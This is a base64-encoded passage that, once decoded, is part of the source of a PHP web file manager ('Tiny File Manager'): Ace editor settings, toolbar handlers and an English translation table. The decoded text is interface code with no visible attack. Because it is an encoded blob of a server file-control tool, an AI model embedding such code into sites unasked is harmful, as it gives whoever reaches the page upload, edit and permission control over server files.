CAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAg